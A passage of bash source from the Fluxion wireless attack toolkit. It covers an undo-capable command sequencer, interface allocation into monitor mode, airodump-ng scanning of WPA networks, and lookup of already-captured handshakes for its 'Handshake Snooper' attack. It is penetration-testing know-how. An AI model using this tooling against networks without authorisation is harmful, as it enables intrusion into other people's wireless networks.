    TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"
  fi
}


# ============================================================ #
# ================= < Sequencing Framework > ================= #
# ============================================================ #
# The following lists some problems with the framework's design.
# The list below is a list of DESIGN FLAWS, not framework bugs.
# * Sequenced undo instructions' return value is being ignored.
# * A global is generated for every new namespace being used.
# * It uses eval too much, but it's bash, so that's not so bad.
# TODO: Try to fix this or come up with a better alternative.
declare -rA FLUXIONUndoable=( \
  ["set"]="unset" \
  ["prep"]="unprep" \
  ["run"]="halt" \
  ["start"]="stop" \
)

# Yes, I know, the identifiers are fucking ugly. If only we had
# some type of mangling with bash identifiers, that'd be great.
fluxion_do() {
  if [ ${#@} -lt 2 ]; then return -1; fi

  local -r __fluxion_do__namespace=$1
  local -r __fluxion_do__identifier=$2

  echo ">>> CALLING: ${__fluxion_do__namespace}_$__fluxion_do__identifier" >> "$FLUXIONOutputDevice"
  # Notice, the instruction will be adde to the Do Log
  # regardless of whether it succeeded or failed to execute.
  eval FXDLog_$__fluxion_do__namespace+=\("$__fluxion_do__identifier"\)
  echo ">>> ABOUT TO EVAL: ${__fluxion_do__namespace}_$__fluxion_do__identifier" >> "$FLUXIONOutputDevice"
  eval ${__fluxion_do__namespace}_$__fluxion_do__identifier "${@:3}"
  local result=$?
  echo ">>> RESULT: $result" >> "$FLUXIONOutputDevice"
  return $result
}

fluxion_undo() {
  if [ ${#@} -ne 1 ]; then return -1; fi

  local -r __fluxion_undo__namespace=$1

  # Removed read-only due to local constant shadowing bug.
  # I've reported the bug, we can add it when fixed.
  eval local __fluxion_undo__history=\("\${FXDLog_$__fluxion_undo__namespace[@]}"\)

  eval echo \$\{FXDLog_$__fluxion_undo__namespace[@]\} \
    > $FLUXIONOutputDevice

  local __fluxion_undo__i
  for (( __fluxion_undo__i=${#__fluxion_undo__history[@]}; \
    __fluxion_undo__i > 0; __fluxion_undo__i-- )); do
    local __fluxion_undo__instruction=${__fluxion_undo__history[__fluxion_undo__i-1]}
    local __fluxion_undo__command=${__fluxion_undo__instruction%%_*}
    local __fluxion_undo__identifier=${__fluxion_undo__instruction#*_}

    echo "Do ${FLUXIONUndoable["$__fluxion_undo__command"]}_$__fluxion_undo__identifier" \
      > $FLUXIONOutputDevice
    if eval ${__fluxion_undo__namespace}_${FLUXIONUndoable["$__fluxion_undo__command"]}_$__fluxion_undo__identifier; then
      echo "Undo-chain succeded." > $FLUXIONOutputDevice
      eval FXDLog_$__fluxion_undo__namespace=\("${__fluxion_undo__history[@]::$__fluxion_undo__i}"\)
      eval echo History\: \$\{FXDLog_$__fluxion_undo__namespace[@]\} \
        > $FLUXIONOutputDevice
      return 0
    fi
  done

  return -2 # The undo-chain failed.
}

fluxion_done() {
  if [ ${#@} -ne 1 ]; then return -1; fi

  local -r __fluxion_done__namespace=$1

  eval "FluxionDone=\${FXDLog_$__fluxion_done__namespace[-1]}"

  if [ ! "$FluxionDone" ]; then return 1; fi
}

fluxion_done_reset() {
  if [ ${#@} -ne 1 ]; then return -1; fi

  local -r __fluxion_done_reset__namespace=$1

  eval FXDLog_$__fluxion_done_reset__namespace=\(\)
}

fluxion_do_sequence() {
  if [ ${#@} -ne 2 ]; then return 1; fi

  # TODO: Implement an alternative, better method of doing
  # what this subroutine does, maybe using for-loop iteFLUXIONWindowRation.
  # The for-loop implementation must support the subroutines
  # defined above, including updating the namespace tracker.

  local -r __fluxion_do_sequence__namespace=$1

  # Removed read-only due to local constant shadowing bug.
  # I've reported the bug, we can add it when fixed.
  local __fluxion_do_sequence__sequence=("${!2}")

  if [ ${#__fluxion_do_sequence__sequence[@]} -eq 0 ]; then
    return -2
  fi

  local -A __fluxion_do_sequence__index=()

  local i
  for i in $(seq 0 $((${#__fluxion_do_sequence__sequence[@]} - 1))); do
    __fluxion_do_sequence__index["${__fluxion_do_sequence__sequence[i]}"]=$i
  done

  # Start sequence with the first instruction available.
  local __fluxion_do_sequence__instructionIndex=0
  local __fluxion_do_sequence__instruction=${__fluxion_do_sequence__sequence[0]}
  echo "SEQUENCE: ${__fluxion_do_sequence__sequence[@]}" >> "$FLUXIONOutputDevice"
  while [ "$__fluxion_do_sequence__instruction" ]; do
    echo "INDEX=$__fluxion_do_sequence__instructionIndex INSTRUCTION=$__fluxion_do_sequence__instruction" >> "$FLUXIONOutputDevice"
    if ! fluxion_do $__fluxion_do_sequence__namespace $__fluxion_do_sequence__instruction; then
      if ! fluxion_undo $__fluxion_do_sequence__namespace; then
        return -2
      fi

      # Synchronize the current instruction's index by checking last.
      if ! fluxion_done $__fluxion_do_sequence__namespace; then
        return -3;
      fi

      __fluxion_do_sequence__instructionIndex=${__fluxion_do_sequence__index["$FluxionDone"]}

      if [ ! "$__fluxion_do_sequence__instructionIndex" ]; then
        return -4
      fi
    else
      let __fluxion_do_sequence__instructionIndex++
    fi

    __fluxion_do_sequence__instruction=${__fluxion_do_sequence__sequence[$__fluxion_do_sequence__instructionIndex]}
    echo "Running next: $__fluxion_do_sequence__instruction" \
      >> $FLUXIONOutputDevice
  done
}


# ============================================================ #
# ================= < Load All Subroutines > ================= #
# ============================================================ #
fluxion_header() {
  format_apply_autosize "[%*s]\n"
  local verticalBorder=$FormatApplyAutosize

  format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed    <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n"
  local headerTextFormat="$FormatApplyAutosize"

  fluxion_conditional_clear

  echo -e "$(printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g")"
  printf "$CSRed$verticalBorder" ""
  printf "$headerTextFormat" "" ""
  printf "$CSBlu$verticalBorder" ""
  echo -e "$(printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g")$CClr"
  echo
  echo
}

# ======================= < Language > ======================= #
fluxion_unset_language() {
  FluxionLanguage=""

  if [ "$FLUXIONPreferencesFile" ]; then
    sed -i.backup "/FluxionLanguage=.\+/ d" "$FLUXIONPreferencesFile"
  fi
}

fluxion_set_language() {
  if [ ! "$FluxionLanguage" ]; then
    if [ "$FLUXIONAuto" ]; then
      FluxionLanguage="en"
    else
      # Get all languages available.
      local languageCodes
      readarray -t languageCodes < <(ls -1 language | sed -E 's/\.sh//')

      local languages
      readarray -t languages < <(
        head -n 3 language/*.sh |
        grep -E "^# native: " |
        sed -E 's/# \w+: //'
      )

      # Prepare choices array for io_query_choice
      local choices=()
      for i in "${!languageCodes[@]}"; do
        choices+=("${languageCodes[i]} / ${languages[i]}")
      done
      choices+=("Exit")

      io_query_choice "$FLUXIONVLine Select your language" choices[@]

      # Handle exit selection
      if [ "$IOQueryChoice" = "Exit" ]; then
        fluxion_handle_exit
      fi

      # Extract language code from selection (format: "code / name")
      FluxionLanguage=$(echo "$IOQueryChoice" | cut -d ' ' -f 1)

      echo # Do not remove.
    fi
  fi

  # Check if all language files are present for the selected language.
  find -type d -name language | while read language_dir; do
    if [ ! -e "$language_dir/${FluxionLanguage}.sh" ]; then
      echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:"
      echo -e "\t$language_dir/${FluxionLanguage}.sh"
      return 1
    fi
  done

  if [ $? -eq 1 ]; then # If a file is missing, fall back to english.
    echo -e "\n\n$FLUXIONVLine Falling back to English..."; sleep 5
    FluxionLanguage="en"
  fi

  source "$FLUXIONPath/language/$FluxionLanguage.sh"

  if [ "$FLUXIONPreferencesFile" ]; then
    if more $FLUXIONPreferencesFile | \
      grep -q "FluxionLanguage=.\+" &> /dev/null; then
      sed -r "s/FluxionLanguage=.+/FluxionLanguage=$FluxionLanguage/g" \
      -i.backup "$FLUXIONPreferencesFile"
    else
      echo "FluxionLanguage=$FluxionLanguage" >> "$FLUXIONPreferencesFile"
    fi
  fi
}

# ====================== < Interfaces > ====================== #
declare -A FluxionInterfaces=() # Global interfaces' registry.

fluxion_deallocate_interface() { # Release interfaces
  if [ ! "$1" ]; then return 1; fi
  if ! interface_is_real "$1"; then return 1; fi

  local -r oldIdentifier=$1
  local -r newIdentifier=${FluxionInterfaces[$oldIdentifier]}

  # Assure the interface is in the allocation table.
  if [ ! "$newIdentifier" ]; then return 2; fi

  local interfaceIdentifier=$newIdentifier
  echo -e "$CWht[$CSRed-$CWht] "$(
    io_dynamic_output "$FLUXIONDeallocatingInterfaceNotice"
  )"$CClr"

  if interface_is_wireless $oldIdentifier; then
    # If interface was allocated by airmon-ng, deallocate with it.
    if [[ "$oldIdentifier" == *"mon"* || "$oldIdentifier" == "prism"* ]]; then
      if ! airmon-ng stop $oldIdentifier &> $FLUXIONOutputDevice; then
        return 4
      fi
    else
      # Attempt deactivating monitor mode on the interface.
      if ! interface_set_mode $oldIdentifier managed; then
        return 3
      fi

      # Attempt to restore the original interface identifier.
      if ! interface_reidentify "$oldIdentifier" "$newIdentifier"; then
        return 5
      fi
    fi
  fi

  # Once successfully renamed, remove from allocation table.
  unset FluxionInterfaces[$oldIdentifier]
  unset FluxionInterfaces[$newIdentifier]
}

# Parameters: <interface_identifier>
# ------------------------------------------------------------ #
# Return 1: No interface identifier was passed.
# Return 2: Interface identifier given points to no interface.
# Return 3: Unable to determine interface's driver.
# Return 4: Fluxion failed to reidentify interface.
# Return 5: Interface allocation failed (identifier missing).
fluxion_allocate_interface() { # Reserve interfaces
  if [ ! "$1" ]; then
    echo "Allocation failed: no identifier" >> "$FLUXIONOutputDevice"
    return 1
  fi

  local -r identifier=$1
  echo "=== ALLOCATE: $identifier ===" >> "$FLUXIONOutputDevice"
  echo "FluxionInterfaces[$identifier] = '${FluxionInterfaces[$identifier]}'" >> "$FLUXIONOutputDevice"

  # If the interface is already in allocation table, we're done.
  if [ "${FluxionInterfaces[$identifier]+x}" ]; then
    echo "Interface already allocated: $identifier -> ${FluxionInterfaces[$identifier]}" >> "$FLUXIONOutputDevice"
    return 0
  fi

  if ! interface_is_real $identifier; then
    echo "Interface not real: $identifier" >> "$FLUXIONOutputDevice"
    return 2
  fi


  local interfaceIdentifier=$identifier
  echo -e "$CWht[$CSGrn+$CWht] "$(
    io_dynamic_output "$FLUXIONAllocatingInterfaceNotice"
  )"$CClr"


  if interface_is_wireless $identifier; then
    # Unblock wireless interfaces to make them available.
    echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice"
    rfkill unblock all &> $FLUXIONOutputDevice

    if [ "$FLUXIONWIReloadDriver" ]; then
      # Get selected interface's driver details/info-descriptor.
      echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"

      if ! interface_driver "$identifier"; then
        echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"
        sleep 3
        return 3
      fi

      # Notice: This local is function-scoped, not block-scoped.
      local -r driver="$InterfaceDriver"

      # Unload the driver module from the kernel.
      rmmod -f $driver &> $FLUXIONOutputDevice

      # Wait while interface becomes unavailable.
      echo -e "$FLUXIONVLine "$(
        io_dynamic_output $FLUXIONUnloadingWIDriverNotice
      )
      while interface_physical "$identifier"; do
        sleep 1
      done
    fi

    if [ "$FLUXIONWIKillProcesses" ]; then
      # Get list of potentially troublesome programs.
      echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice"

      # Kill potentially troublesome programs.
      echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"

      # TODO: Make the loop below airmon-ng independent.
      # Maybe replace it with a list of network-managers?
      # WARNING: Version differences could break code below.
      for program in "$(timeout 5 airmon-ng check 2>/dev/null | awk 'NR>6{print $2}')"; do
        killall "$program" &> $FLUXIONOutputDevice
      done
    fi

    if [ "$FLUXIONWIReloadDriver" ]; then
      # Reload the driver module into the kernel.
      modprobe "$driver" &> $FLUXIONOutputDevice

      # Wait while interface becomes available.
      echo -e "$FLUXIONVLine "$(
        io_dynamic_output $FLUXIONLoadingWIDriverNotice
      )
      while ! interface_physical "$identifier"; do
        sleep 1
      done
    fi

    # Set wireless flag to prevent having to re-query.
    local -r allocatingWirelessInterface=1
  fi

  # If we're using the interface library, reidentify now.
  # If usuing airmon-ng, let airmon-ng rename the interface.
  if [ ! $FLUXIONAirmonNG ]; then
    echo -e "$FLUXIONVLine $FLUXIONReidentifyingInterface"

    # Prevent interface-snatching by renaming the interface.
    if [ $allocatingWirelessInterface ]; then
      # Get next wireless interface to add to FluxionInterfaces global.
      fluxion_next_assignable_interface fluxwl
    else
      # Get next ethernet interface to add to FluxionInterfaces global.
      fluxion_next_assignable_interface fluxet
    fi

    interface_reidentify $identifier $FluxionNextAssignableInterface
    local reidentify_result=$?

    if [ $reidentify_result -ne 0 ]; then # If reidentifying failed, abort immediately.
      return 4
    fi
  fi

  if [ $allocatingWirelessInterface ]; then
    # Activate wireless interface monitor mode and save identifier.
    echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice"

    # TODO: Consider the airmon-ng flag is set, monitor mode is
    # already enabled on the interface being allocated, and the
    # interface identifier is something non-airmon-ng standard.
    # The interface could already be in use by something else.
    # Snatching or crashing interface issues could occur.

    # NOTICE: Conditionals below populate newIdentifier on success.
    if [ $FLUXIONAirmonNG ]; then
      local -r newIdentifier=$(
        airmon-ng start $identifier |
        grep "monitor .* enabled" |
        grep -oP "wl[a-zA-Z0-9]+mon|mon[0-9]+|prism[0-9]+"
      )
    else
      # Attempt activating monitor mode on the interface.
      if interface_set_mode $FluxionNextAssignableInterface monitor; then
        # Register the new identifier upon consecutive successes.
        local -r newIdentifier=$FluxionNextAssignableInterface
      else
        # If monitor-mode switch fails, undo rename and abort.
        interface_reidentify $FluxionNextAssignableInterface $identifier
      fi
    fi
  fi

  # On failure to allocate the interface, we've got to abort.
  # Notice: If the interface was already in monitor mode and
  # airmon-ng is activated, WE didn't allocate the interface.
  if [ ! "$newIdentifier" -o "$newIdentifier" = "$identifier" ]; then
    echo -e "$FLUXIONVLine $FLUXIONInterfaceAllocationFailedError"
    sleep 3
    return 5
  fi

  # Register identifiers to allocation hash table.
  FluxionInterfaces[$newIdentifier]=$identifier
  FluxionInterfaces[$identifier]=$newIdentifier

  echo -e "$FLUXIONVLine $FLUXIONInterfaceAllocatedNotice"
  sleep 3

  # Notice: Interfaces are accessed with their original identifier
  # as the key for the global FluxionInterfaces hash/map/dictionary.
}

# Parameters: <interface_prefix>
# Description: Prints next available assignable interface name.
# ------------------------------------------------------------ #
fluxion_next_assignable_interface() {
  # Find next available interface by checking global hash AND physical interfaces
  local -r prefix=$1
  local index=0
  while [ "${FluxionInterfaces[$prefix$index]}" ] || interface_physical "$prefix$index"; do
    let index++
  done
  FluxionNextAssignableInterface="$prefix$index"
}

# Parameters: <interfaces:lambda> [<query>]
# Note: The interfaces lambda must print an interface per line.
# ------------------------------------------------------------ #
# Return -1: Go back
# Return  1: Missing interfaces lambda identifier (not passed).
fluxion_get_interface() {
  if ! type -t "$1" &> /dev/null; then return 1; fi

  if [ "$2" ]; then
    local -r interfaceQuery="$2"
  else
    local -r interfaceQuery=$FLUXIONInterfaceQuery
  fi

  # Auto mode: select first available interface (or --interface if specified).
  if [ "$FLUXIONAuto" ]; then
    # Use --interface hint only if it isn't already allocated.
    if [ "$FLUXIONInterface" ] && interface_is_wireless "$FLUXIONInterface" \
      && [ -z "${FluxionInterfaces[$FLUXIONInterface]+x}" ]; then
      FluxionInterfaceSelected="$FLUXIONInterface"
      interface_chipset "$FLUXIONInterface" 2>/dev/null
      interface_bands "$FLUXIONInterface" 2>/dev/null
      local __autoBandTag=""
      if [ "$InterfaceBands" ] && [ "$InterfaceBands" != "unknown" ]; then __autoBandTag="[$InterfaceBands] "; fi
      FluxionInterfaceSelectedInfo="${__autoBandTag}${InterfaceChipset:-}"
      FluxionInterfaceSelectedState="[+]"
      return 0
    fi
    local autoInterfaces
    readarray -t autoInterfaces < <($1)
    local autoIface
    for autoIface in "${autoInterfaces[@]}"; do
      # Skip interfaces already in use (allocated or renamed).
      if [ "$autoIface" ] \
        && [ -z "${FluxionInterfaces[$autoIface]+x}" ]; then
        FluxionInterfaceSelected="$autoIface"
        interface_chipset "$autoIface" 2>/dev/null
        interface_bands "$autoIface" 2>/dev/null
        local __autoBandTag2=""
        if [ "$InterfaceBands" ] && [ "$InterfaceBands" != "unknown" ]; then __autoBandTag2="[$InterfaceBands] "; fi
        FluxionInterfaceSelectedInfo="${__autoBandTag2}${InterfaceChipset:-}"
        FluxionInterfaceSelectedState="[+]"
        return 0
      fi
    done
    echo "Auto mode: no interfaces available." > $FLUXIONOutputDevice
    return 1
  fi

  while true; do
    local candidateInterfaces
    readarray -t candidateInterfaces < <($1)
    local interfacesAvailable=()
    local interfacesAvailableInfo=()
    local interfacesAvailableBands=()
    local interfacesAvailableBus=()
    local interfacesAvailableColor=()
    local interfacesAvailableState=()

    # Gather information from all available interfaces.
    local candidateInterface
    for candidateInterface in "${candidateInterfaces[@]}"; do
      if [ ! "$candidateInterface" ]; then
        local skipOption=1
        continue
      fi

      interface_chipset "$candidateInterface"
      interface_bands "$candidateInterface" 2>/dev/null
      if [ "$InterfaceBands" ] && [ "$InterfaceBands" != "unknown" ]; then
        interfacesAvailableBands+=("[$InterfaceBands]")
      else
        interfacesAvailableBands+=("")
      fi
      if [ "$InterfaceHardwareBus" ]; then
        interfacesAvailableBus+=("[$InterfaceHardwareBus]")
      else
        interfacesAvailableBus+=("")
      fi
      interfacesAvailableInfo+=("$InterfaceChipset")

      # If it has already been allocated, we can use it at will.
      local candidateInterfaceAlt=${FluxionInterfaces["$candidateInterface"]}
      if [ "$candidateInterfaceAlt" ]; then
        # The candidate is already allocated. Show it regardless of whether
        # it's the original or renamed interface. User will select by what they see.
        interfacesAvailable+=("$candidateInterface")

        interfacesAvailableColor+=("$CGrn")
        interfacesAvailableState+=("[*]")
      else
        interfacesAvailable+=("$candidateInterface")

        interface_state "$candidateInterface"

        if [ "$InterfaceState" = "up" ]; then
          interfacesAvailableColor+=("$CPrp")
          interfacesAvailableState+=("[-]")
        else
          interfacesAvailableColor+=("$CClr")
          interfacesAvailableState+=("[+]")
        fi
      fi
    done

    # If only one interface exists and it's not unavailable, choose it.
    if [ "${#interfacesAvailable[@]}" -eq 1 -a \
      "${interfacesAvailableState[0]}" != "[-]" -a \
      "$skipOption" == "" ]; then FluxionInterfaceSelected="${interfacesAvailable[0]}"
      FluxionInterfaceSelectedState="${interfacesAvailableState[0]}"
      FluxionInterfaceSelectedInfo="${interfacesAvailableInfo[0]}"
      break
    else
      if [ $skipOption ]; then
        interfacesAvailable+=("$FLUXIONGeneralSkipOption")
        interfacesAvailableColor+=("$CClr")
        interfacesAvailableBands+=("")
        interfacesAvailableBus+=("")
      fi

      interfacesAvailable+=(
        "$FLUXIONGeneralRepeatOption"
        "$FLUXIONGeneralBackOption"
      )

      interfacesAvailableColor+=(
        "$CClr"
        "$CClr"
      )

      interfacesAvailableBands+=("" "")
      interfacesAvailableBus+=("" "")

      local __ifaceMaxLen=8
      local __ifaceEntry
      for __ifaceEntry in "${interfacesAvailable[@]}"; do
        [ ${#__ifaceEntry} -gt $__ifaceMaxLen ] && __ifaceMaxLen=${#__ifaceEntry}
      done

      local __bandMaxLen=0
      local __bandEntry
      for __bandEntry in "${interfacesAvailableBands[@]}"; do
        [ ${#__bandEntry} -gt $__bandMaxLen ] && __bandMaxLen=${#__bandEntry}
      done

      local __busMaxLen=0
      local __busEntry
      for __busEntry in "${interfacesAvailableBus[@]}"; do
        [ ${#__busEntry} -gt $__busMaxLen ] && __busMaxLen=${#__busEntry}
      done

      format_apply_autosize \
        "$CRed[$CSYel%1d$CClr$CRed]%b %-${__ifaceMaxLen}b %3s %-${__bandMaxLen}s %-${__busMaxLen}s$CClr %-*.*s\n"

      io_query_format_fields \
        "$FLUXIONVLine $interfaceQuery" "$FormatApplyAutosize" \
        interfacesAvailableColor[@] interfacesAvailable[@] \
        interfacesAvailableState[@] interfacesAvailableBands[@] \
        interfacesAvailableBus[@] interfacesAvailableInfo[@]

      echo

      case "${IOQueryFormatFields[1]}" in
        "$FLUXIONGeneralSkipOption")
          FluxionInterfaceSelected=""
          FluxionInterfaceSelectedState=""
          FluxionInterfaceSelectedInfo=""
          return 0;;
        "$FLUXIONGeneralRepeatOption") continue;;
        "$FLUXIONGeneralBackOption") return -1;;
        *)
          FluxionInterfaceSelected="${IOQueryFormatFields[1]}"
          FluxionInterfaceSelectedState="${IOQueryFormatFields[2]}"
          FluxionInterfaceSelectedInfo="${IOQueryFormatFields[5]}"
          break;;
      esac
    fi
  done
}


# ============== < Fluxion Target Subroutines > ============== #
# Parameters: interface [ channel(s) [ band(s) ] ]
# ------------------------------------------------------------ #
# Return 1: Missing monitor interface.
# Return 2: Xterm failed to start airmon-ng.
# Return 3: Invalid capture file was generated.
# Return 4: No candidates were detected.
fluxion_target_get_candidates() {
  # Assure a valid wireless interface for scanning was given.
  if [ ! "$1" ] || ! interface_is_wireless "$1"; then return 1; fi

  echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"
  echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip"

  # Assure all previous scan results have been cleared.
  sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"

  # Begin scanner and output all results to "dump-01.csv."
  local channelParam="${2:+--channel $2}"
  local bandParam="${3:+--band $3}"
  local scanCmd="airodump-ng -Mat WPA $channelParam $bandParam -w \"$FLUXIONWorkspacePath/dump\" $1"

  if [ "$FLUXIONAuto" ]; then
    # In auto mode, run scanner for --scan-time seconds then kill it.
    fluxion_status "SCAN_START interface=$1 duration=${FLUXIONScanTime}s"
    local scannerPID
    fluxion_window_open scannerPID "$FLUXIONScannerHeader" \
      "$TOPLEFTBIG" "#000000" "#FFFFFF" "$scanCmd"
    sleep "$FLUXIONScanTime"
    fluxion_window_close scannerPID
    # Give airodump-ng a moment to flush output files.
    sleep 1
  else
    if ! fluxion_window_open "" "$FLUXIONScannerHeader" \
      "$TOPLEFTBIG" "#000000" "#FFFFFF" "$scanCmd" 2> $FLUXIONOutputDevice; then
      echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"
      sleep 5
      return 2
    fi
  fi

  # Sanity check the capture files generated by the scanner.
  # If the file doesn't exist, or if it's empty, abort immediately.
  if [ ! -f "$FLUXIONWorkspacePath/dump-01.csv" -o \
    ! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then
    sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
    return 3
  fi

  # Syntheize scan opeFLUXIONWindowRation results from output file "dump-01.csv."
  echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice"
  # WARNING: The code below may break with different version of airmon-ng.
  # The times matching operator "{n}" isn't supported by mawk (alias awk).
  # readarray FLUXIONTargetCandidates < <(
  #   gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}'
  #   $FLUXIONWorkspacePath/dump-01.csv
  # )
  # readarray FLUXIONTargetCandidatesClients < <(
  #   gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}'
  #   $FLUXIONWorkspacePath/dump-01.csv
  # )
  local -r matchMAC="([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]"
  readarray FluxionTargetCandidates < <(
    awk -F, "NF>=15 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \
    "$FLUXIONWorkspacePath/dump-01.csv"
  )
  readarray FluxionTargetCandidatesClients < <(
    awk -F, "NF==7 && length(\$1)==17 && \$1~/$matchMAC/ {print \$0}" \
    "$FLUXIONWorkspacePath/dump-01.csv"
  )

  # Note: Don't cleanup dump* files yet - we need dump-01.kismet.netxml
  # for vendor lookup in fluxion_get_target()

  fluxion_status "SCAN_COMPLETE candidates=${#FluxionTargetCandidates[@]}"

  if [ ${#FluxionTargetCandidates[@]} -eq 0 ]; then
    # Cleanup on failure
    sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
    echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"
    sleep 3
    return 4
  fi
}


fluxion_get_target() {
  # Assure a valid wireless interface for scanning was given.
  if [ ! "$1" ] || ! interface_is_wireless "$1"; then return 1; fi

  local -r interface=$1

  if [ "$FLUXIONAuto" ]; then
    # Auto mode: use --band if provided, otherwise infer from channel or default to 2.4GHz.
    if [ "$FLUXIONBand" ]; then
      local band="$FLUXIONBand"
    elif [ "$FluxionTargetChannel" ]; then
      local band=""
      local firstChannel=$(echo "$FluxionTargetChannel" | grep -oE '[0-9]+' | head -1)
      if [ -n "$firstChannel" ] && [ "$firstChannel" -le 14 ]; then
        band="bg"
      else
        band="a"
      fi
    else
      local band="bg"
    fi
    fluxion_target_get_candidates $interface "$FluxionTargetChannel" "$band"
  else
    interface_bands "$interface" 2>/dev/null
    local __ifBands="${InterfaceBands:-unknown}"
    local choices=()
    if [[ "$__ifBands" == *"2.4GHz"* ]]; then
      choices+=("$FLUXIONScannerChannelOptionAll (2.4GHz)")
    fi
    if [[ "$__ifBands" == *"5GHz"* ]]; then
      choices+=("$FLUXIONScannerChannelOptionAll (5GHz)")
    fi
    if [[ "$__ifBands" == *"2.4GHz"* ]] && [[ "$__ifBands" == *"5GHz"* ]]; then
      choices+=("$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)")
    fi
    if [ ${#choices[@]} -eq 0 ]; then
      choices+=( \
        "$FLUXIONScannerChannelOptionAll (2.4GHz)" \
        "$FLUXIONScannerChannelOptionAll (5GHz)" \
        "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" \
      )
    fi
    choices+=("$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption")

    io_query_choice "$FLUXIONScannerChannelQuery" choices[@]

    echo

    case "$IOQueryChoice" in
      "$FLUXIONScannerChannelOptionAll (2.4GHz)")
        fluxion_target_get_candidates $interface "" "bg";;

      "$FLUXIONScannerChannelOptionAll (5GHz)")
        fluxion_target_get_candidates $interface "" "a";;

      "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)")
        fluxion_target_get_candidates $interface "" "abg";;

      "$FLUXIONScannerChannelOptionSpecific")
        fluxion_header

        echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery"
        echo
        echo -e "     $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr               "
        echo -e "     $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr             "
        echo -e "     $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr      "
        echo
        echo -ne "$FLUXIONPrompt"

        local channels
        read channels

        echo

        # Determine band based on channel number
        # Channels 1-14 are 2.4GHz (band bg), 36+ are 5GHz (band a)
        local band=""
        local firstChannel=$(echo "$channels" | grep -oE '[0-9]+' | head -1)
        if [ -n "$firstChannel" ]; then
          if [ "$firstChannel" -le 14 ]; then
            band="bg"
          else
            band="a"
          fi
        fi

        fluxion_target_get_candidates $interface $channels "$band";;

      "$FLUXIONGeneralBackOption")
        return -1;;
    esac
  fi

  # Abort if errors occured while searching for candidates.
  if [ $? -ne 0 ]; then return 2; fi

  local candidatesMAC=()
  local candidatesClientsCount=()
  local candidatesChannel=()
  local candidatesSecurity=()
  local candidatesSignal=()
  local candidatesPower=()
  local candidatesESSID=()
  local candidatesColor=()
  local candidatesVendor=()
  local candidatesHandshake=()

  # Build list of BSSIDs that already have valid handshakes
  local -A existingHandshakes
  local -r handshakeDir="$FLUXIONPath/attacks/Handshake Snooper/handshakes"
  if [ -d "$handshakeDir" ]; then
    local handshakeFile
    for handshakeFile in "$handshakeDir"/*.cap; do
      if [ -f "$handshakeFile" ] && [ -s "$handshakeFile" ]; then
        # Extract BSSID from filename (format: *<BSSID>.cap)
        local filename=$(basename "$handshakeFile")
        # Match MAC address pattern at end before .cap
        if [[ "$filename" =~ ([A-F0-9]{2}:[A-F0-9]{2}:[A-F0-9]{2}:[A-F0-9]{2}:[A-F0-9]{2}:[A-F0-9]{2})\.cap$ ]]; then
          local bssid="${BASH_REMATCH[1]}"
          # Store both uppercase and lowercase versions for matching
          existingHandshakes["${bssid^^}"]=1
          existingHandshakes["${bssid,,}"]=1
        fi
      fi
    done
  fi

  # Build vendor lookup table from kismet netxml file if it exists
  local -A vendorLookup
  if [ -f "$FLUXIONWorkspacePath/dump-01.kismet.netxml" ]; then
    # Extract MAC and manuf pairs from netxml file
    # Each wireless-network block has <BSSID> followed by <manuf>
    while IFS= read -r line; do
      if [[ "$line" =~ \<BSSID\>([A-F0-9:]+)\</BSSID\> ]]; then
        local currentMAC="${BASH_REMATCH[1]}"
      elif [[ "$line" =~ \<manuf\>(.+)\</manuf\> ]] && [ -n "$currentMAC" ]; then
        local manufName="${BASH_REMATCH[1]}"
        # Decode HTML entities (e.g., &amp; -> &)
        manufName=$(echo "$manufName" | sed 's/&amp;/\&/g; s/&lt;/</g; s/&gt;/>/g; s/&quot;/"/g')
        vendorLookup["$currentMAC"]="$manufName"
        currentMAC=""
      fi
    done < "$FLUXIONWorkspacePath/dump-01.kismet.netxml"
  fi

  # Gather information from all the candidates detected.
  # TODO: Clean up this for loop using a cleaner algorithm.
  # Maybe try using array appending & [-1] for last elements.
  local filteredCount=0
  for candidateAPInfo in "${FluxionTargetCandidates[@]}"; do
    # Strip candidate info from any extraneous spaces after commas.
    candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g")

    local candidateMAC=$(echo "$candidateAPInfo" | cut -d , -f 1)
    
    # For Handshake Snooper: skip networks with existing handshakes
    # For other attacks: mark them but don't skip
    if [ -n "${existingHandshakes[$candidateMAC]}" ]; then
